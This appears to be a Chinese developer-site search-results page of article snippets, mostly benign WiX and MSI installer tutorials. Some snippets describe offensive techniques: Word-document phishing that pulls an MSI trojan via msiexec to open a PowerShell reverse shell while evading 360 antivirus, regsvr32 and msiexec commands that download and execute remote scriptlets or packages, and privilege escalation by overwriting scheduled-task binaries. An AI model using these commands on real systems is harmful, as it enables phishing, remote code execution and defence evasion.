首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

绕过360进行Word文档钓鱼

例如之前常用的的powershell,mshta,regsvr32,这些方法都不会报毒,但是会有弹窗提示用户有风险程序需要运行,很明显一般人都会点击阻止程序运行,谁会点击允许啊?神经病啊!!! ?...安装Wix工具后执行下列前两条命令,会在同目录下生成一个calc.msi文件,最后一条命令表示远程下载并利用msiexec运行calc.msi文件。...此时打开Word文档就会远程执行下载和安装msi木马的命令,进一步运行powershell进行反弹。...0x04   看到这里有人可能要问:为什么非要先调用msi文件再间接调用powershell呢?直接把执行命令通过RTF脚本写到文档里不是更方便吗?...这里说一下,经过我的测试发现,直接利用RTF脚本运行命令,在360存在的情况下一定会弹窗,但通过msi安装文件却不会,其次RTF脚本 -c 参数有109字节数限制。

2.5K50
您找到你想要的搜索结果了吗?
是的
没有找到

WiX Toolset 安装包制作入门教程(目录篇)

WiX 全称为 Windows Installer XML,是使用 XML 文件创建 Windows 安装程序的一组工具。它开源且完全免费。...虽然这一组工具功能非常强大,但学习曲线较陡峭,在没有人指导的情况下独立完成完整的安装包制作会比较困难。...msi 格式安装包的 Hello World 安装 WiX Toolset 工具 安装 WiX Toolset Visual Studio 插件 准备一个用于学习 WiX 安装包制作的 Visual...Studio 解决方案 使用 WiX 创建一个简单的 msi 安装包 exe 格式安装包的 Hello World 安装 WiX Toolset 工具 安装 WiX Toolset Visual Studio...前置的 Hello World 安装 WiX Toolset 工具 安装 WiX Toolset Visual Studio 插件 准备一个用于学习 WiX 安装包制作的 Visual Studio

1.6K60

初试WIX加SQL LocalDB

最近有个项目需要生成一个自动打包安装App和数据库的MSI文件,经同事推荐WIX,于是乎就试了一试。...问题一: WIX内置不支持SQL LocalDB,怎么实现对SQL LocalDB安装及配置 解决方案: 我的第一想法和现在的做法是用Powershell调用SQL Scripts,然后再用WIX调用Powershell.../> 问题二: Window 7 对权限管控比较严,SQL Scripts对C:盘大多数目录没有创建文件的权限 解决方案: 查找了一下,发现%UserProfile%目录好像SQL有读写权限,因为我们程序首先需要安装...所以选择了以下目录 %UserProfile%\AppData\Local\Microsoft\Microsoft SQL Server Local DB 问题三: 怎么把一个%UserProfile%目录Powershell...,用户不会用SQL Command去创建SQL instance和修改sa的密码,App怎么用sa连接数据库呢?

1.3K60

WiX 制作安装包:创建一个简单的 msi 安装

本文是 WiX Toolset 安装包制作入门教程 系列中的一篇,可前往阅读完整教程。 本文将带大家制作一个简单的 msi 安装包。...注意,选择的模板要注意这些要点: 图标上标记了“wix”,标签上标记了“WiX” 模板简介中说明这是在创建“MSI”文件 引用目标项目 在 WiX MSI 项目(在本教程中,我取的名字为 Walterlv.Installer.Msi... 注意: 这里的 Walterlv.Demo.MainApp 是上一个步骤中引用的项目的名称(不是程序或...本例的目标程序只有一个文件,因此我们只放了一行,如果你要打包多个文件,可返回本教程目录页查阅其他文章。 编辑基本的安装包信息 此时,我们距离完成 msi 打包只剩最后一步了,就是填写基本的安装包信息。...如果希望更改 MSI 安装包的文件名,则需要去项目的属性页里去修改,如下图: 测试效果 现在,我们完成了一个最简单的 MSI 安装包,测试安装一下。

1.1K60

渗透技巧——github下载文件的多种方法

/s /i:https://raw.githubusercontent.com/3gstudent/test/master/downloadexec.sct scrobj.dll 当然,为了减少调用的程序...->download&exec 6、msiexec 该方法我之前的两篇文章《渗透测试中的msiexec》《渗透技巧——Admin权限切换到System权限》有过介绍,细节不再赘述 首先将powershell...== 完整wix文件为: 将其编译,生成msi文件,命令如下: candle.exe msigen.wix light.exe msigen.wixobj 生成test.msi 实现功能: msiexec /q /i https...再次测试,成功实现下载执行的功能 经过以上的测试,我们发现IE浏览器默认会拦截vbs脚本实现的下载功能 那么,我们可以大胆猜测,如果下载执行换成powershell实现的话,那么就不会被拦截 修改脚本

3.6K20

WiX 制作安装包:为 WiX 制作的 msi 安装包添加 .NET Framework 环境检查

本文是 WiX Toolset 安装包制作入门教程 系列中的一篇,可前往阅读完整教程。 前面我们制作完成了一个简单的 msi 安装包。...如果我们要安装程序运行需要 .NET Framework 环境,那么也可以先进行 .NET Framework 版本检查。...本文基于前一篇文章已经建好的项目继续: 用 WiX 制作安装包:创建一个简单的 msi 安装包 添加 WixNetFxExtension 引用 在 msi 安装包项目的“Reference”上右键,“添加引用...不过,考虑到在卸载程序时无需检查 .NET Framework(反正也不会再运行了),所以我们可以在判断条件里加上 OR: 1 2 3 4 <Condition Message="This application...,<em>不会</em>执行任何<em>安装</em>操作。

62630

SQL Server的PowerShell扩展(SQLPSX) 2.3版本

DBA可以使用的工具很多,对于SQL Server来说,有查询分析器、事件探查器、命令行工具等,其中SQL语句是重中之重,但是PowerShell的出现使得DBA又多了一种选择。...Windows PowerShell 是一个功能强大的脚本 shell,管理员和开发人员可以通过它自动执行服务器管理和应用程序部署。...Windows PowerShell 脚本还可用来管理其他 Microsoft 服务器产品,这为管理员提供一个跨服务器的公用脚本语言。...可以使用其他命令(如 ren 或 del)针对路径中的节点执行操作。 一组 cmdlet(它们在 Windows PowerShell 脚本中用于指定 SQL Server 操作)。...Codeplex上SQL Server的PowerShell扩展(SQLPSX) 2.3版本最近发布了2.3版本,这个版本使用Wix制作的安装包,这同时也是一个学习Wix工具包的好例子。

1.3K50

WiX和DTF介绍

Wix 是 Windows Installer XML 的缩写,它是微软提供的一组工具和规范的集合,用来制作MSI格式的安装包。另外值得一提的是,Wix是微软少有的开源软件之一。...制作MSI的工作有InstallShield,Wise,他们都是商业程序,需要付费,你也可以使用WiX来完成安装程序制作。...WiX和这些MSI工具比较有不同的地方: 它完全用xml描述,使用命令行来生成,这非常容易整合到开发流程中,通过Nant,Msbuild调用 WiX是开源的,定制性非常好,你能够做用Wise或者InstallShield...微软内部的程序打包也是使用WiX的。...Deployment Tools Foundation (DTF) DTF就是msi.dll(Windows installer library)的.net包装,DTF使得为MSI安装包编写自定义Actions

1K80

使用WiX制作简单MSI安装程序

是一般使用的工具是两个:一个Visual Studio插件,在WiX安装包里面附带,另一个就是WiXEdit,WixEdit是编辑的XMLXML的源代码的图形化工具箱.WixEdit会让你创造体制条件与...MSI和MSM测试wix工具箱.它提供了直观的、轻松的对话方式编辑wix文件来源。...该包介绍了作为部分 .msi 摘要流提供的属性,在资源管理器中将鼠标停留在 .msi 上方时就会看到这些属性。 查看 WiX 帮助文件文档中 Package 元素的其他可用属性。...平台 字符串 此程序包支持的平台列表。 对于许多安装程序(例如本示例),最好在 MSI 中将所有安装源文件打包在一起。...复杂引用和反向引用的处理,可能是链接程序必须实现的最难的工作。 下面我们来自定义一个安装程序。 添加安装的图形界面 WiX安装界面使用的是命令行模式,我们现在在增加一个图形的安装界面。

3.5K90

使用WiX制作具有时间限制的安装

WiX是Windows Installer XML的简称,它是用于制作Windows安装包的工具。它支持命令行环境,开发者可以及将它集成到他们的编译过程中创建MSI和MSM安装包。...更多信息可以参考:http://wix.sourceforge.net/ 最近研究了一下如何使用WiX制作具有时间限制的安装包,下图是demo的效果图。 ?...选择合适的脚本语言(VBScript or JScript)实现定制操作。 2. 选择合适的实际执行上面的脚本。 下面分享我的实现过程: 1....实现一段检查当前时间是否越界的脚本代码,并将它封装到CustomAction中。     使用VBScript比较当前日期和限定日期,小于0表示越界,这时调用WScript想注册表添加坏键。...选择合适的时机执行上述脚本,越早越好。     在本文的demo中,我在PrepareDlg之前执行脚本,对于大多数情况而言,这已经是最早的时机了。

1.4K60

WiX 制作安装包:为 WiX 制作的 exe 安装包添加 .NET Framework 前置的安装步骤

如果我们要安装程序运行需要 .NET Framework 环境,那么可以检查 .NET Framework 是否安装,如果未安装则可将其装上。...小提示 Bundle(exe 格式)的判断方法和 Product(msi 格式)的不一样,因此 为 WiX 制作的 msi 安装包添加 .NET Framework 环境检查 一文中所编写的代码对本文没有任何影响...-- 其他元素 --> 1 2 3 4 5 6 7 这里引入了两个很重要的概念:产品(Product)和捆绑包(Bundle)。...每个 .NET Framework 版本都有自己对应的文件名称,如果还想继续用 WixNetFxExtension.dll 中提供的安装 .NET Framework 的功能,那么官网下载文件后就不能改名字

61510

Wix制作VSPackage的安装

其实有很多种打包的方式,在这里我只介绍在VS2008下用Wix制作VSPackage的安装程序。您首先要下载并安装Wix toolset(http://wix.codeplex.com/)。...regpkg /wixfile:VSPackage1.wxs /codebase "\VSPackage1.dll" 其中,代表Package程序所在目录的全路径...--复制程序--> <File Id="VSPackage1" Source="$(var.SolutionDir)\VSPackage1\...测试<em>安装</em>包 到此为止,我们的<em>安装</em>包已经可以用了,编译VSPackageInstaller项目,并运行VSPackageInstaller.<em>msi</em>,可以看到<em>安装</em>界面已经出来了。 ?...<em>安装</em>成功之后,重启VS,点击<em>工具</em>菜单,可以看到我们的Package已经被<em>安装</em>进去了: ? 重新运行这个<em>安装</em><em>程序</em>可以卸载掉我们的Package。

2.5K20

1.Powershell基础入门介绍与安装升级

描述: PowerShell 是独特的工具和组件,该集 Windows PowerShell 单独传输、安装和配置。...Windows 安装方式 描述: 若要在 Windows 上安装 PowerShell,请 GitHub 下载最新安装包: PowerShell-7.1.3-win-x64.msi PowerShell...安装方式: 安装 MSI 包 : 下载后双击安装程序并按照提示进行操作。 1.安装程序在 Windows“开始”菜单中创建一个快捷方式。...# 如果需要与其他版本并行运行 PowerShell 7.1,请使用 ZIP 安装方法将其他版本安装其他文件夹。...安装 ZIP 包 : 提供有 PowerShell 二进制 ZIP 存档,从而支持高级部署方案, Tips 与安装 MSI 包不一样,安装 ZIP 存档不会检查先决条件(所以你需要检测自己是否满足先决条件

7K20

在持续集成 (CI) 中使用 .NET SDK 和工具

.NET 工具既能以交互方式运行(当开发人员在命令提示符处键入命令时),也可以自动运行(当持续集成 (CI) 服务器运行生成脚本时)。...在 Windows 上,使用 MSI 安装程序。 有关最新的稳定二进制文件,请参阅 .NET 下载。...使用安装程序脚本 使用安装程序脚本,可以在生成服务器上执行非管理员安装,并能轻松实现自动化,以便获取工具安装程序脚本负责下载并将工具提取到默认或指定位置,以供使用。...有关安装脚本参考,请参阅 dotnet-install 一文。 备注 Azure DevOps Services 使用安装程序脚本时,不会自动安装本机依赖项。...一般来说,手动安装需要获取一个版本的工具(或最新每日版工具),再运行生成脚本。 可以使用 PowerShell 或 bash 脚本安排 .NET 命令,也可以使用概述生成进程的项目文件。

49510

内网渗透基石篇--权限提升

@ -o /root/msi.msi msiexec /quiet /qn /i d:\msi.msi # /quiet 安装过程中禁止向用户发送消息 # /qn 不使用GUI # /i 安装程序...4 自动安装配置文件 网络管理员在内网中给多台机器配置同一个环境时,通常不会逐台配置,而会使用脚本化批量部署的方法。在这一过程中,会使用安装配置条件。...由于它是微软官方提供的工具,所以杀毒软件不会有告警。如果黑客对以高权限运行的任务,所在的目录具有写权限,那么就可以使用恶意程序覆盖原有的程序。...sysvol文件夹是在安装活动目录时自动创建的,主要用来存放登陆脚本、组策略数据、其他域控制器需要的域信息。...中间介绍了一些脚本工具的使用,还做了几个实验来理解这些工具

1.6K60

WiX 制作安装包:制作 WPF 安装包界面(入门篇)

小提示 本教程前面为了不引入过多的复杂度,没有使用 NuGet 包中的工具而是单独下载了;所以实际上大家已经有了现成的工具可供引用,我们才能使用此方法修改引用路径...并且此方法也能确保 WiX 打包项目使用的工具版本和 WPF UI 项目使用的工具版本一致。...然而使用 WiX 的 NuGet 包有额外的好处,可以使得团队成员无需每人单独安装 Wix 工具即可完整编译安装包。不过这涉及到一些 NuGet 相关的高级操作,我在其他博客里有说到。...为了保证教程依然便于入门,所以我使用单独安装 WiX 工具的方式来讲解。 如果大家感兴趣使用 NuGet 的方式来完成整个打包项目的构建,替代现在单独安装的方式,我可以单独再写一篇高级教程。 2....); 正常退出安装过程(通过调用 Engine.Quit); 设置 WPF 资源程序(默认情况下 WPF 会去入口程序集中找,但在 WiX 引导启动后入口程序为 null,所以我们需要手动指定资源程序为本程序

81020

【愚公系列】2023年01月 Dapr分布式应用运行时-Dapr的安装

文章目录 前言 一、Dapr的安装 1.window安装 2.liunx安装 2.1 官方脚本安装 2.2 二进制文件安装 3.初始化Dapr ---- 前言 Dapr 是一个可移植的事件驱动运行时,使任何开发人员都可以轻松构建可复原的...、 在云和边缘上运行的无状态和有状态应用程序,并包含 语言和开发人员框架。...其他window系统MSI安装程序安装 Dapr CLI 的每个版本还包括一个 Windows 安装程序。...您可以手动下载 MSI最新的 Dapr 版本下载 MSI 程序包。dapr.msi 导航到下载的 MSI 文件,然后双击该文件以运行它。 按照安装提示接受许可证和安装目录。...Install 2、校验Dapr安装成功 dapr 2.liunx安装 2.1 官方脚本安装 wget -q https://raw.githubusercontent.com/dapr/cli/master

53630
领券